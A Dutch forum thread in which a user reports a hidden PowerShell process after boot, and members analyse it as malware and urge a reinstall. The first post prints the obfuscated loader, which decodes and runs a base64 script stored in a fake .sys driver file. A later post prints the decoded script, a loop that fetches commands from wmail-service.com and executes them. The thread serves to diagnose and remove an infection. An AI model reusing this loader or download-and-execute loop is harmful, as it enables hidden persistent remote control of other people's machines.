een powershell script runt steeds na een boot

[teapot]

Sinds een tijd, ik geloof na een windows update, heb ik na boot een powershell proces runnen, het start op na een kwartiertje ofzo en blijft dan runnen. Ik moest processexplorer als admin starten om bij de properties te kunnen.
Het script heeft deze command line. Ik kan niet vinden wat het proces is wat het script heeft opgestart. De naam van de driver googlen levert niets op, lijkt op een random gegenereerde string.
Heeft iemand meer info?
Bedankt.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))}

[PD2JK]

C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys

Dat klinkt nogal als malware met die random gegenereerde namen. Doe eens een virus en malware scan.

[Christoxz]

Wat is de file description van "SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys" ?
Te zien via eigenschappen -> details.

Ik heb daarnaast geen drivers of mappen met een random gegenereerde string.

[teapot]

Defender, superantispyware en virustotal vinden niks..
File desrciption word je niet veel wijzer van.
Ik heb de map SkVSjq0D9 verwijderd, ik zal eens rebooten en kijken wat er straks staat.

[Christoxz]

teapot schreef op woensdag 15 juni 2022 @ 10:58:
Defender, superantispyware en virustotal vinden niks..
File desrciption word je niet veel wijzer van.
Ik heb de map SkVSjq0D9 verwijderd, ik zal eens rebooten en kijken wat er straks staat.

[Afbeelding]

In iedere geval vrijwel zeker dat het geen legit driver is.
Date modified is 8/5, dus zou wellicht het moment kunnen zijn dat deze is geplaatst.
Alweer een tijd terug, maar wellicht begin Mei iets geprobeerd/geinstalleerd/gedownload waar je het aan zou kunnen linken.

Helpt jou natuurlijk niet, maar persoonlijk ben ik in dit soort dingen heel simpel, vertrouw ik iets niet dan gaat de hele computer gewoon leeg.
Het mapje verwijderen is natuurlijk geen zekerheid dat het nog ergens anders verstopt zit.

[teapot]

Nee ik vertrouw het ook niet maar de laatste tijd is hier zoveel gebeurt op de pc dat ik geen idee heb wat dat kan zijn. Ik denk dat ik maar eens bij een antimalware forum hulp ga vragen.
Bedankt wel.

[Janoz]

Als je wilt weten wat het doet:

Lees uit het bestand vanaf positie 1560279 410 bytes
Deze worden base 64 decoded, die bytes worden weer omgezet in een string en dat commando wordt uitgevoerd.

Gegarandeerd niet legit gezien hoe moeizaam alles in elkaar geklust is.

[chaoscontrol]

Idd, dat is een script verborgen als sys bestand welke on the fly wordt geconverteerd en uitgevoerd.

[Montaner]

Je kan dit zelf uitvoeren om de content te zien

code:

[System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2);

[teapot]

Montaner schreef op woensdag 15 juni 2022 @ 11:18:
Je kan dit zelf uitvoeren om de content te zien

code:

[System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2);

Ik heb de map weggehaald en gereboot, als er straks weer wat staat wil ik dit wel proberen maar is dat safe?

[Jazzy]

code:

$sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410)
$sc2 = [Convert]::FromBase64String($sc)
$sc3 = [System.Text.Encoding]::UTF8.GetString($sc2)
$sc3

Ja hoor, dat is safe. Je pakt nu uit wat voor opdracht er daadwerkelijk uitgevoerd wordt zonder het uit te voeren.

[teapot]

ok dan weet ik dat als er weer wat staat. Kwartier geleden reboot maar er staat nog niks nieuws. Ondertussen in https://www.malwareremova...iewtopic.php?f=11&t=66857 gepost, ik laat nog weten hoe het gaat.

[teapot]

Dit is het script, ik heb de url geblokt. Het haalt dus blijkbaar het command nog ergens vandaan, omslachtig allemaal.. Het heeft nooit gerund want die url komt niet door de firewall heen trouwens.

while ($true) {
try {
$r = Invoke-RestMethod -Uri 'http://wmail-service.com/v1/CECCE2DA-EF51-4D10-B16A-726EEBC7E043?v=Downloads_Counter12'
if($r -ne '')
{
Start-Job ([ScriptBlock]::Create($r)) | Wait-Job
}
}
catch {}
Start-Sleep 2
}

[ Voor 8% gewijzigd door teapot op 15-06-2022 12:34 ]

[F_J_K]

https://forums.malwarebyt...re-blocked-powershellexe/ is min of meer hetzelfde en daar wordt van alles geroepen over verwijderen. Zou ik niet aan beginnen.

Ik zou adviseren: backup maken, backup controleren, formatteren, opnieuw installeren.

[F_J_K]

Ik verplaats je vraag overigens even van Windows clients naar de beveiliging-buren.

[tiguan]

Wordt het script niet gewoon vanuit task scheduler gestart?

[teapot]

@ F_J_K dat gaat daar ook over wmail-service.com, die is overigens sowieso niet bereikbaar lijkt het.
Opnieuw installeren kan altijd nog, denk ik al een tijdje over, maar ik wacht liever nog even, de malware doet momenteel niks lijkt het. Na 2 uur uptime nog geen instance van powershell, noch rare mappen in \system32\drivers.

@tiguan, heb al eens gezocht, kon niks vinden.

[F_J_K]

Het gaat me niet om dat bestand, maar om de andere dingen die op de machine zijn gebeurd maar die je (nog) niet hebt gezien.

[teapot]

ja ik snap het. Ik heb proces monitoren als gadgets op de desktop, ik hou het altijd wel in de gaten, vandaar dat ik powershell ook zag.

[ Voor 15% gewijzigd door teapot op 15-06-2022 13:56 ]

[Brahiewahiewa]

teapot schreef op woensdag 15 juni 2022 @ 13:54:
ja ik snap het...

Nee, je snapt het niet. Het powershell script heeft een listener geïnstalleerd die afwacht tot de C&C server een opdracht stuurt. Als jij denkt dat jij dat wel handmatig kunt onderscheppen heb je het mis

[Verwijderd]

Zo te zien wordt er geprobeerd om een coin miner te installeren.

Hier ook nog een draadje.

Misschien staat de miner er zelfs al op. Ik zou er niet teveel tijd insteken en deze herinstalleren, wie weet wat voor narigheid je verder binnen hebt gehaald.

[teapot]

@Verwijderd , ja die threads had ik inderdaad gezien, coin miner. Maar die heeft nooit gerund want die installatie is nooit gelukt. Er runt geen miner hier.

@Brahiewahiewa het script heeft niks kunnen installeren, heeft nooit een connect kunnen maken, die is tegengehouden.

[Jazzy]

teapot schreef op woensdag 15 juni 2022 @ 15:49:
@Brahiewahiewa het script heeft niks kunnen installeren, heeft nooit een connect kunnen maken, die is tegengehouden.

Je focust nu op het feit dat het script niets heeft kunnen downloaden maar het probleem is natuurlijk dat je zonder dat je het weet een bestand in C:\Windows\System32\drivers\ gekregen en een taak om een PowerShell script uit te voeren.

[teapot]

Niet alleen op het feit dat er niks gedownload is maar ook omdat er niets gebeurt.
Ik ben sowieso al iemand die constant in de gaten houden welke processen er draaien op mijn bak en als er maar iets is wat ik niet ken ben ik alert. De infectie is al meer dan 5 weken oud. Ook start nu powershell niet eens meer op. Dus ik ga echt niet in paniek raken, sorry.

[DataGhost]

Okee, maar op het moment dat jij malware op je machine hebt staan kan je er eigenlijk niet meer zeker van zijn dat de proceslijsten nog correct zijn en geen verborgen processen draaien. Maar dat moet je verder helemaal zelf weten. Kennelijk heb je ondanks het "constant in de gaten houden" meer dan vijf weken lang een infectie gemist.

[CodeCaster]

teapot schreef op woensdag 15 juni 2022 @ 15:59:
Niet alleen op het feit dat er niks gedownload is maar ook omdat er niets gebeurt.
Ik ben sowieso al iemand die constant in de gaten houden welke processen er draaien op mijn bak en als er maar iets is wat ik niet ken ben ik alert. De infectie is al meer dan 5 weken oud. Ook start nu powershell niet eens meer op. Dus ik ga echt niet in paniek raken, sorry.

Dat er nu niks gebeurt. Jij houdt niet constant alle lopende processen in de gaten, en je kunt in minder dan een seconde gepwnd worden. Misschien zelfs als de malware detecteert dat je scherm op standby gaat of dat je een fullscreen applicatie draait.

Het feit dat dit .sys-bestand op die locatie is geschreven en dat dit script telkens wordt opgestart, geeft al aan dat je systeem gecompromitteerd is.

Als je daar niet van in paniek raakt, heb je geen belangrijke informatie op dat systeem staan?

Het domein bestaat gewoon: https://www.whois.com/whois/wmail-service.com, dus het is een kwestie van wachten tot de payload actief wordt. Of misschien heb je geluk en is 'ie alweer gedeactiveerd. Dan is het wachten tot de malware een nieuwe versie binnenhaalt, met een andere URL die wel werkt.

[ Voor 13% gewijzigd door CodeCaster op 15-06-2022 16:06 ]

[markisoke]

Stelt een vraag met advies, krijgt advies en steekt vervolgens z'n kop in het zand en stelt dat er niks aan de hand is.

[teapot]

Beste mensen, jullie advies is om opnieuw windows te installeren,k dat staat in de planning maar is nu te drastisch voor me, neem me niet kwalijk.

[teapot]

@markisoke je kan me ook gewoon rechtstreeks iets zeggen.

[Verwijderd]

Moet je inderdaad zelf weten. En zolang je er bijvoorbeeld geen bankzaken mee doet etc., ach...

[RGAT]

Je systeem is geinfecteerd, een process heeft permissie gehad om in 'C:\Windows\System32\drivers\' een nep .sys bestand weg te schrijven, dit geeft al aan dat jouw systeem volledig compromised is...
Hoe veel 'meer' wil je gehackt worden? Wil je een dramatisch bericht dat de vierde firewall gebreached is?

Overigens, gebruik je Python?

[Brahiewahiewa]

teapot schreef op woensdag 15 juni 2022 @ 15:59:
Niet alleen op het feit dat er niks gedownload is maar ook omdat er niets gebeurt.
Ik ben sowieso al iemand die constant in de gaten houden welke processen er draaien op mijn bak en als er maar iets is wat ik niet ken ben ik alert. De infectie is al meer dan 5 weken oud. Ook start nu powershell niet eens meer op. Dus ik ga echt niet in paniek raken, sorry.

Je houdt constant in de gaten welke processen draaien, maar de infectie kan toch 5 weken oud worden. OK, als jij je daar veilig bij voelt, moet je 't zelf weten

[teapot]

ik heb last van apneu, dus ik ben de hele dag doodmoe, vandaag heb ik pas puf om te gaan zoeken.

Natuurlijk is het een grove inbreuk op mn systeem en ik ben ook wel geschrokken maar ik ben ook praktisch, ik zie momenteel geen reden tot paniek en heb geen tijd voor een nieuwe install.

Als het wel zover komt dat ik een scherm krijg met 'oops your files are encrypted', kom ik het hier melden.

[Jazzy]

teapot schreef op woensdag 15 juni 2022 @ 16:23:
ik heb last van apneu, dus ik ben de hele dag doodmoe, vandaag heb ik pas puf om te gaan zoeken.

Dit is natuurlijk helemaal prima en we sturen de Tweakersknokploeg niet op je af als je niet vandaag aan de herinstallatie begint. Maar denk dat het wel handig is dat je begrijpt dat je systeem wél geïnfecteerd en niet meer betrouwbaar is, ook al heeft deze malware zijn payload niet binnen kunnen halen en dat je de gegeven adviezen niet wegwimpelt.

[teapot]

Niet de eerste keer dat ik een virus heb of heb gehad hoor. Een windows systeem kan wel eens vaker gecompromiteerd zijn, maar na dingen te verwijderen/fixen weer zoals vanouds werken, ik heb dat tenminste wel vaker meegemaakt, jullie niet?

[Brahiewahiewa]

teapot schreef op woensdag 15 juni 2022 @ 17:04:
Niet de eerste keer dat ik een virus heb of heb gehad hoor. Een windows systeem kan wel eens vaker gecompromiteerd zijn, maar na dingen te verwijderen/fixen weer zoals vanouds werken, ik heb dat tenminste wel vaker meegemaakt, jullie niet?

Ik heb inderdaad wel vaker meegemaakt dat mensen dachten dat ze hun systeem weer helemaal schoon gemaakt hadden, maar dat er later toch bleek...

[teapot]

Daar vroeg ik niet naar , ik vroeg naar het omgekeerde.

[DataGhost]

teapot schreef op woensdag 15 juni 2022 @ 17:14:
Daar vroeg ik niet naar , ik vroeg naar het omgekeerde.

Ja heel vroeger, toen malware nog niet zo geavanceerd was.

[Brahiewahiewa]

teapot schreef op woensdag 15 juni 2022 @ 17:14:
Daar vroeg ik niet naar , ik vroeg naar het omgekeerde.

In mijn ervaring ongeveer 50/50. YMMV

[RGAT]

teapot schreef op woensdag 15 juni 2022 @ 17:04:
Niet de eerste keer dat ik een virus heb of heb gehad hoor. Een windows systeem kan wel eens vaker gecompromiteerd zijn, maar na dingen te verwijderen/fixen weer zoals vanouds werken, ik heb dat tenminste wel vaker meegemaakt, jullie niet?

Ja 15 jaar geleden kon dat nog wel eens werken, ondertussen al lang niet meer.
Er is malware op jouw systeem (ja, nog steeds, dat heb je niet verwijderd), het heeft op een of andere manier hoge permissies gehad, heb je de security instellingen van C:\System32\drivers al eens gecontroleerd bijvoorbeeld? Weet je waar de rommel vandaan komt, het heeft (in ieder geval) 5 weken lang gedraaid zonder dat je het door had, je hebt geen idee wat het allemaal heeft uitgevoerd, of heb je dat script van die url al eens gedownloadt in een Linux VM om door te spitten?...

Maar eh, gebruik je nou Python of niet? Want die draait ook bij je op de achtergrond

[teapot]

Hoe weet jij dat hier python draait?

[F_J_K]

teapot in "een powershell script runt steeds na een boot"

Maar dat screenshot laat natuurlijk niet zien of Python.exe of explorer.exe de 'echte' is, of een die draait in %tmp%, of is vervangen.

[ Voor 3% gewijzigd door F_J_K op 16-06-2022 08:37 ]

[teapot]

ow die ja. Die draait vanwege Medusa.

[AW_Bos]

Wees gewoon lief, en trek gewoon de netwerkstekker eruit totdat je de boel geherinstalleerd hebt. Straks draait je PC vrolijk mee in een botnetje om een bank of overheidssite plat te leggen ofzo. Daar wil je niet mee te maken hebben. Straks gaat de abuse van je ISP misschien wel terecht zeuren

[ Voor 11% gewijzigd door AW_Bos op 18-06-2022 00:57 ]

[teapot]

ik ben altijd lief. En heb je echt niet door dat het voor mij ophoud nu?

[ Voor 58% gewijzigd door teapot op 18-06-2022 07:57 ]

[jurroen]

teapot schreef op zaterdag 18 juni 2022 @ 07:53:
ik ben altijd lief. En heb je echt niet door dat het voor mij ophoud nu?

Na zelf decennia een hele zware vorm van apneu gehad te hebben, snap ik heel goed waar je vandaan komt en hoe het werkt qua energie. Ik kan je overigens van harte aanraden om bij de huisarts een doorverwijzing te vragen naar de KNO, ik ben zelf inmiddels "genezen" en er is een hele nieuwe wereld voor mij open gegaan

Dat gezegd hebbende, onze medetweakers hebben het beste met je voor. Het is niet het gelijk willen halen - want we begrijpen allemaal dat energie wel echt een ding is. Maar jouw reacties laten ook een ietwat laconieke attitude doorschemeren - en dat is volgens mij het punt. Je loopt gevaar hiermee. De consequenties die daaruit voortvloeien zijn niet alleen voor jou, maar ook voor anderen - bijvoorbeeld bij een botnet, versturen van spam, etc.

Het staat je natuurlijk vrij om daar niets mee te doen - net zo goed als het anderen vrij staat om daar iets van te vinden / daar oneens mee te zijn. Maar nogmaals: dat is vooral uit goede zorgen

[F_J_K]

De adviezen zijn duidelijk, dat ze terzijde worden gelegd ook. Ik denk dat we het daar dan maar bij moeten laten..